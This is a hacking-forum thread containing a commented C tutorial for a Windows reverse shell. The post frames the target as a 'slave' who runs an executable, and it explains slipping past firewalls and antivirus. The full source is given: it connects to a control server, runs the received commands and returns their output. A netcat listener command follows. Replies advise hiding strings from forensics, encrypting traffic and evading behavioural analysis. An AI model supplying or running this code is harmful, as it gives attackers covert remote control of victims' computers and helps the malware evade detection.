![]() |
|
Tutorial Source Code Tutorial - Simple Reverse Shell in C - Printable Version +- Sinisterly (https://sinister.li) +-- Forum: Coding (https://sinister.li/Forum-Coding) +--- Forum: Coding (https://sinister.li/Forum-Coding--71) +--- Thread: Tutorial Source Code Tutorial - Simple Reverse Shell in C (/Thread-Tutorial-Source-Code-Tutorial-Simple-Reverse-Shell-in-C) |
Source Code Tutorial - Simple Reverse Shell in C - m0dem - 10-09-2015 Well, it looks like my first real contribution to SL. Enjoy! Its basically just commented code. So you read down the code and comments like a tutorial. NOTE: This currently only targets Windows, but that may change soon. Below is a simple explanation of sockets and reverse shells for the beginners. Spoiler:
So, what exactly is a reverse shell and why do I need it? Well, to begin, a shell is, for those of you who don’t know: a program (basically) that receives a command with arguments that the shell in turn tells the computer what to do. A remote shell is one where a computer is controlled by a shell through the net on another machine. Let’s setup our situation: we are the hacker and we have a computer user that will run any executable that we give him. We want to setup a remote shell on our “slave” so we can connect and control it, but we know that in order to set up a remote shell, we have to start a remote shell service on their machine ... but that will most likely be blocked by the firewall. Well, how do we get around that? Why of course, if the firewall blocks incoming connections but allows outgoing connections (and outgoing connection for example is: browsing the web) then we can have our exe connect back to a server waiting on our machine that will give us shell access to our slave. ![]() There is this useful networking program called netcat. It is older and meant for Linux, but it still works well and there is even a version for Windows. For what we need, netcat can listen for connections on a specific port and it can also make connections and requests to a specified server. Netcat would work to create a reverse tcp shell, but the netcat program is unneedingly large and detected by many AVs. So, we will use netcat simply as the controller on our machine. The building block for networking is the socket. Let’s say you have a server, the socket is like a bridge, the bridge connects your server (an island) to the mainland (the internet). If someone wants to access something on your server, they use the bridge you have put in place. You can have multiple bridges connecting your island to the mainland, each providing different services. For Windows, to use sockets, we must use the Winsock2 library. It has a pretty simple API for what we will use, so don’t be intimidated. Our reverse shell program will work like the simple diagram below:
^ don't mind the colors, they're just to brighten things up a bit ![]() Code: /*
Source Code Tutorial - Simple Reverse Shell in C
*/
// get all our needed libraries ready
#include <stdio.h>
#include <strings.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
// simple function that returns the output file returned from executing `cmd` in the shell
FILE *execcmd(char *cmd)
{
FILE *fp = popen(cmd, "r");
return fp;
}
int s_send(s, msg)
{
return send(s, msg, strlen(msg), 0);
}
int main(int argc , char *argv[])
{
// simple constants that hold the port and address on which the control server is listening
const char HOST[] = "127.0.0.1";
const int PORT = 509;
// variables for our socket
WSADATA wsa;
SOCKET s;
// `sockaddr_in` is a struct that stores information about our control server
struct sockaddr_in server;
int recv_size;
// stuff for the command we will receive
const int CMD_SIZE = 2048;
char cmd[CMD_SIZE];
// the outputted file from the shell
FILE *out_fp = NULL;
// one line of the shell output
char out[CMD_SIZE];
// get Winsock ready for use; you don't need to understand this
printf("\nInitializing Winsock...");
if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0)
{
printf("Failed: %d", WSAGetLastError());
WSACleanup();
return 1;
} else {
printf("Initialized.\n");
}
// create the Winsock socket
if((s = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET)
{
printf("Could not create socket: %d" , WSAGetLastError());
return 1;
}
printf("Socket created.\n");
// set the our `server` host, type, and port
server.sin_addr.s_addr = inet_addr(HOST);
server.sin_family = AF_INET;
server.sin_port = htons(PORT);
// connect to the control server
if (connect(s, (struct sockaddr *)&server, sizeof(server)) < 0)
{
puts("Connection error.");
return 1;
}
puts("Connected");
while(1)
{
// receive the control server's command
if((recv_size = recv(s, cmd, CMD_SIZE, 0)) == SOCKET_ERROR)
{
if(s_send(s, "Last input was not received.") < 0)
{
puts("Send failed");
return 1;
}
} else {
// add a NULL terminating character to the end of `cmd` buffer to make it a proper string (won’t print properly without it)
cmd[recv_size] = '\0';
puts(cmd);
// execute the control command in our shell
out_fp = execcmd(cmd);
// send each line from the command output to the control server
while (fgets(out, CMD_SIZE, out_fp) != NULL)
{
if(s_send(s, out) < 0)
{
puts("Send failed");
return 1;
}
}
}
pclose(out_fp);
}
return 0;
}To test it out, run netcat on localhost listening to port 509 and then execute your reverse shell program. Code: nc -l -p 509RE: Source Code Tutorial - Simple Reverse Shell in C - Penis - 10-09-2015 Not multiplatform, only works on windows because lolwinsocks, you could make it smaller and multiplatform but it's nice for a first project, i'd also use argv[] instead of hardcoded variables, two reasons: 1. Ease of use 2. "Anti-Forensics" you know your malware sucks when you can run strings and see all the info on it, sure you could monitor traffic but it's a step in the right direction If you want some ideas: 1. Multiplatform 2. Encrypted Traffic or Password Login (Wouldn't be too hard just be careful to sanatize input) You've mitigated a few issues here, nice one, not vulnerable to anything I can see, I'd like to see future developments c: Good work RE: Source Code Tutorial - Simple Reverse Shell in C - m0dem - 10-09-2015 (10-09-2015, 12:52 PM)Penis Wrote: Not multiplatform, only works on windows because lolwinsocks, you could make it smaller and multiplatform but it's nice for a first project, i'd also use argv[] instead of hardcoded variables, two reasons: I have targeted Windows because it is the operating system used by the majority of desktop computers, but I will be sure to specify the targeted platform above. So I may or may not change that. SOURCE I did not think of using command line arguments, but would it even be possible to use arguments if this reverse shell was bound and crypted to another program? I did think of control server authentication, but I didn't think to add it to this simple example program, but I will probably add it. Encryption sounds cool, I will look into that! Thanks for the suggestions and feedback! ![]() Woops, I just realized that I put this in the Coding sub-section. @Oni or @Eclipse, should it be put in the C/C++ sub-section? I don't know if it would be more correct? RE: Source Code Tutorial - Simple Reverse Shell in C - Penis - 10-09-2015 (10-09-2015, 03:04 PM)m0dem Wrote: I have targeted Windows because it is the operating system used by the majority of desktop computers, but I will be sure to specify the targeted platform above. So I may or may not change that. SOURCE Something like this wouldn't really need to be crypted, Your main worry is behavoural analysis or network traffic analysis. RE: Source Code Tutorial - Simple Reverse Shell in C - m0dem - 10-10-2015 I want to take note of two issues:
Code: cd mydir & mkdir test 2>&1I will try to implement my solutions soon. RE: Source Code Tutorial - Simple Reverse Shell in C - Penis - 10-10-2015 (10-10-2015, 04:05 AM)m0dem Wrote: I want to take note of two issues: 2. Is a really hacky fix, you should properly allocate the file descriptors, unsure if it works the same way as it does on *nix but if so piping stderr to stdout just out of practice is in my oppinion a bad idea. RE: Source Code Tutorial - Simple Reverse Shell in C - m0dem - 10-11-2015 (10-10-2015, 10:49 PM)Penis Wrote: 2. Is a really hacky fix, you should properly allocate the file descriptors, unsure if it works the same way as it does on *nix but if so piping stderr to stdout just out of practice is in my oppinion a bad idea. Ok, may I ask how to "allocate the file descriptors"? Is there like a function that you could reference me to? Thanks. RE: Source Code Tutorial - Simple Reverse Shell in C - Penis - 10-11-2015 (10-11-2015, 01:35 PM)m0dem Wrote: Ok, may I ask how to "allocate the file descriptors"? Is there like a function that you could reference me to? Thanks. If it were me I'd use dup2($object, $fd); but I'm not sure it's the same in windows, as I said I don't mess with windows much, a quick google revealed a POSIX compliant (and deprecated) function in C++ called dup2(); you should use the ISO C++ conforming function _dup or _dup2. I don't think there's anything wrong with the ghetto piping fix, just always seemed cleaner and nicer to me to allocate the correct fds. Also in my original post I meant to say 1. was a hacky fix, what exactly is the issue with 2? Not cding? cd is a bash built in (and probably windows builtin too (comes w/ cmd.exe)) so it should just work, my thoughts are that you're sending each command as an arguement to cmd.exe and not starting a session (which is a better and cleaner idea once again) if you started a session and sent it back over local variables would persist, things like current working directory or the PS1 (think that only applys to powershell). That reminds me powershell > cmd, use it
RE: Source Code Tutorial - Simple Reverse Shell in C - dotcppfile - 10-11-2015 It's good just not good enough.. Using popen isn't bad since you can't get stderr which is simply bad because it's a lack of information returned by the reverse shell, the proper way to do this is to create pipes manually instead of relying on popen. It also doesn't support the cd command which is good. Let me also point out this "const char HOST[20] = "127.0.0.1";" where there's no point of defining the size of HOST. I barely took a look at the code but I believe it gets the job done, at least someone is sharing something over here... RE: Source Code Tutorial - Simple Reverse Shell in C - 0xDEAD10CC - 10-12-2015 (10-09-2015, 12:52 PM)Penis Wrote: Not multiplatform, only works on windows because lolwinsocks, you could make it smaller and multiplatform but it's nice for a first project, i'd also use argv[] instead of hardcoded variables, two reasons: You can hardcode data and still not have string data show up with a program like strings if you encode it as integers or encrypt the string first, and at runtime decrypt them. Strings will not execute your binary to determine what the strings actually are, so it would require some debugging at that point. Although this is actually very horribly written code to begin with... (10-10-2015, 10:49 PM)Penis Wrote: 2. Is a really hacky fix, you should properly allocate the file descriptors, unsure if it works the same way as it does on *nix but if so piping stderr to stdout just out of practice is in my oppinion a bad idea. Exactly, and furthermore stdout is typically buffered, whereas stderr isn't for obvious reasons. (10-11-2015, 08:45 PM)dotcppfile Wrote: It's good just not good enough.. In addition to the size of HOST being 20, what's the point, even the longest IPv4 address can be 15 characters in length, so the buffer will never have to be any larger than 16. |